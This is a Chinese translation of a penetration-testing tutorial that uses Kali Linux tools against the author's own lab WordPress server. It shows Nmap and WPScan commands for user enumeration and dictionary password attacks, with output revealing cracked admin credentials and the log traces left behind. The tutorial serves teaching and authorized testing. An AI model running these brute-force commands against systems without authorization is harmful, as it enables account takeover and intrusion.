文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

使用 Linux 安全工具进行渗透测试

2024-12-03 00:19

关注

使用 Kali Linux 和其他开源工具来发现系统中的安全漏洞和弱点。

众多被广泛报道的大型消费企业入侵事件凸显了系统安全管理的重要性。幸运的是,有许多不同的应用程序可以帮助保护计算机系统。其中一个是 Kali,一个为安全和渗透测试而开发的 Linux 发行版。本文演示了如何使用 Kali Linux 来审视你的系统以发现弱点。

Kali 安装了很多工具,它们都是开源的,默认情况下安装了它们会让事情变得更容易。

(LCTT 译注:Kali 及其携带工具只应该用于对自己拥有合法审查权利的系统和设备,任何未经授权的扫描、渗透和攻击均是违法的。本文作者、译者均不承担任何非授权使用的结果。) 

Kali's tools

本文使用的系统是:

  1. kali.usersts.redhat.com:这是我将用来启动扫描和攻击的系统。它拥有 30GB 内存和 6 个虚拟 CPU(vCPU)。
  2. vulnerable.usersys.redhat.com: 这是一个 Red Hat 企业版 Linux 8 系统,它会成为目标。它拥有 16GB 内存和 6 个 vCPU。它是一个相对较新的系统,但有些软件包可能已经过时。
  3. 这个系统包括 httpd-2.4.37-30.module+el8.3.0+7001+0766b9e7.x86_64、 mariadb-server-10.3.27-3.module+el8.3.0+8972+5e3224e9.x86_64、 tigervnc-server-1.9.0-15.el8_1.x86_64、 vsftpd-3.0.3-32.el8.x86_64 和一个 5.6.1 版本的 WordPress。

我在上面列出了硬件规格,因为一些任务要求很高,尤其是在运行 WordPress 安全扫描程序(WPScan)时对目标系统 CPU 的要求。

探测你的系统

首先,我会在目标系统上进行基本的 Nmap 扫描(你可以阅读 使用 Nmap 结果帮助加固 Linux 系统 一文来更深入地了解 Nmap)。Nmap 扫描是一种快速的方法,可以大致了解被测系统中哪些端口和服务是暴露的。 

Nmap scan

默认扫描显示有几个你可能感兴趣的开放端口。实际上,任何开放端口都可能成为攻击者破坏你网络的一种方式。在本例中,端口 21、22、80 和 443 是不错的扫描对象,因为它们是常用服务的端口。在这个早期阶段,我只是在做侦察工作,尽可能多地获取有关目标系统的信息。

我想用 Nmap 侦察 80 端口,所以我使用 -p 80 参数来查看端口 80,-A 参数来获取操作系统和应用程序版本等信息。 

Nmap scan of port 80

关键信息有:

  1. PORT   STATE SERVICE VERSION
  2. 80/tcp open  http       Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
  3. |_http-generator: WordPress 5.6.1

现在我知道了这是一个 WordPress 服务器,我可以使用 WPScan 来获取有关潜在威胁的信息。一个很好的侦察方法是尝试找到一些用户名,使用 --enumerate u 告诉 WPScan 在 WordPress 实例中查找用户名。例如:

  1. ┌──(root💀kali)-[~]
  2. └─# wpscan --url vulnerable.usersys.redhat.com --enumerate u
  3. _______________________________________________________________
  4. __ _______ _____
  5. \ \ / / __ \ / ____|
  6. \ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
  7. \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
  8. \ /\ / | | ____) | (__| (_| | | | |
  9. \/ \/ |_| |_____/ \___|\__,_|_| |_|
  10.  
  11. WordPress Security Scanner by the WPScan Team
  12. Version 3.8.10
  13. Sponsored by Automattic - https://automattic.com/
  14. @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
  15. _______________________________________________________________
  16.  
  17. [+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
  18. [+] Started: Tue Feb 16 21:38:49 2021
  19.  
  20. Interesting Finding(s):
  21. ...
  22. [i] User(s) Identified:
  23.  
  24. [+] admin
  25. | Found By: Author Posts - Display Name (Passive Detection)
  26. | Confirmed By:
  27. | Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  28. | Login Error Messages (Aggressive Detection)
  29.  
  30. [+] pgervase
  31. | Found By: Author Posts - Display Name (Passive Detection)
  32. | Confirmed By:
  33. | Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  34. | Login Error Messages (Aggressive Detection)

这显示有两个用户:admin 和 pgervase。我将尝试使用密码字典来猜测 admin 的密码。密码字典是一个包含很多密码的文本文件。我使用的字典大小有 37G,有 3,543,076,137 行。

就像你可以选择不同的文本编辑器、Web 浏览器和其他应用程序 一样,也有很多工具可以启动密码攻击。下面是两个使用 Nmap 和 WPScan 的示例命令:

  1. # nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com
  1. # wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt

这个 Nmap 脚本是我使用的许多脚本之一,使用 WPScan 扫描 URL 只是这个工具可以完成的许多任务之一。你可以用你喜欢的那一个。

WPScan 示例在文件末尾显示了密码:

  1. ┌──(root💀kali)-[~]
  2. └─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin
  3. _______________________________________________________________
  4. __ _______ _____
  5. \ \ / / __ \ / ____|
  6. \ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
  7. \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
  8. \ /\ / | | ____) | (__| (_| | | | |
  9. \/ \/ |_| |_____/ \___|\__,_|_| |_|
  10.  
  11. WordPress Security Scanner by the WPScan Team
  12. Version 3.8.10
  13. Sponsored by Automattic - https://automattic.com/
  14. @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
  15. _______________________________________________________________
  16.  
  17. [+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
  18. [+] Started: Thu Feb 18 20:32:13 2021
  19.  
  20. Interesting Finding(s):
  21.  
  22. ......
  23.  
  24. [+] Performing password attack on Wp Login against 1 user/s
  25. Trying admin / redhat Time: 00:01:57 <==================================================================================================================> (3231 / 3231) 100.00% Time: 00:01:57
  26. Trying admin / redhat Time: 00:01:57 <========================================================= > (3231 / 6462) 50.00% ETA: ??:??:??
  27. [SUCCESS] - admin / redhat
  28.  
  29. [!] Valid Combinations Found:
  30. | Username: admin, Password: redhat
  31.  
  32. [!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
  33. [!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register
  34.  
  35. [+] Finished: Thu Feb 18 20:34:15 2021
  36. [+] Requests Done: 3255
  37. [+] Cached Requests: 34
  38. [+] Data Sent: 1.066 MB
  39. [+] Data Received: 24.513 MB
  40. [+] Memory used: 264.023 MB
  41. [+] Elapsed time: 00:02:02

在末尾的“找到有效组合”部分包含了管理员用户名和密码,3231 行只用了两分钟。

我还有另一个字典文件,其中包含 3,238,659,984 行,使用它花费的时间更长并且会留下更多的证据。

使用 Nmap 可以更快地产生结果:

  1. ┌──(root💀kali)-[~]
  2. └─# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=password.txt,threads=6 vulnerable.usersys.redhat.com
  3. Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST
  4. Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)
  5. Host is up (0.00015s latency).
  6. Not shown: 995 closed ports
  7. PORT STATE SERVICE VERSION
  8. 21/tcp open ftp vsftpd 3.0.3
  9. 22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
  10. 80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
  11. |_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)
  12. | http-wordpress-brute:
  13. | Accounts:
  14. | admin:redhat - Valid credentials <<<<<<<
  15. | pgervase:redhat - Valid credentials <<<<<<<
  16. |_ Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0
  17. 111/tcp open rpcbind 2-4 (RPC #100000)
  18. | rpcinfo:
  19. | program version port/proto service
  20. | 100000 2,3,4 111/tcp rpcbind
  21. | 100000 2,3,4 111/udp rpcbind
  22. | 100000 3,4 111/tcp6 rpcbind
  23. |_ 100000 3,4 111/udp6 rpcbind
  24. 3306/tcp open mysql MySQL 5.5.5-10.3.27-MariaDB
  25. MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)
  26. Service Info: OS: Unix
  27.  
  28. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  29. Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds

然而,运行这样的扫描可能会在目标系统上留下大量的 HTTPD 日志消息:

  1. 10.19.47.170 - - [18/Feb/2021:20:14:01 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
  2. 10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
  3. 10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
  4. 10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
  5. 10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
  6. 10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
  7. 10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
  8. 10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
  9. 10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
  10.  

为了获得关于在最初的 Nmap 扫描中发现的 HTTPS 服务器的信息,我使用了 sslscan 命令:

  1. ┌──(root💀kali)-[~]
  2. └─# sslscan vulnerable.usersys.redhat.com
  3. Version: 2.0.6-static
  4. OpenSSL 1.1.1i-dev xx XXX xxxx
  5.  
  6. Connected to 10.19.47.242
  7.  
  8. Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com
  9.  
  10. SSL/TLS Protocols:
  11. SSLv2 disabled
  12. SSLv3 disabled
  13. TLSv1.0 disabled
  14. TLSv1.1 disabled
  15. TLSv1.2 enabled
  16. TLSv1.3 enabled
  17. <snip>

它显示了有关启用的 SSL 协议的信息,在最下方,是关于 Heartbleed 漏洞的信息:

  1.   Heartbleed:
  2. TLSv1.3 not vulnerable to heartbleed
  3. TLSv1.2 not vulnerable to heartbleed

防御或减轻攻击的技巧

有很多方法可以保护你的系统免受大量攻击。几个关键点是:

了解更多

本文对安全工具及其使用方法的介绍只是冰山一角。深入了解的话,你可能需要查看以下资源:

 

 

来源:Linux中国内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯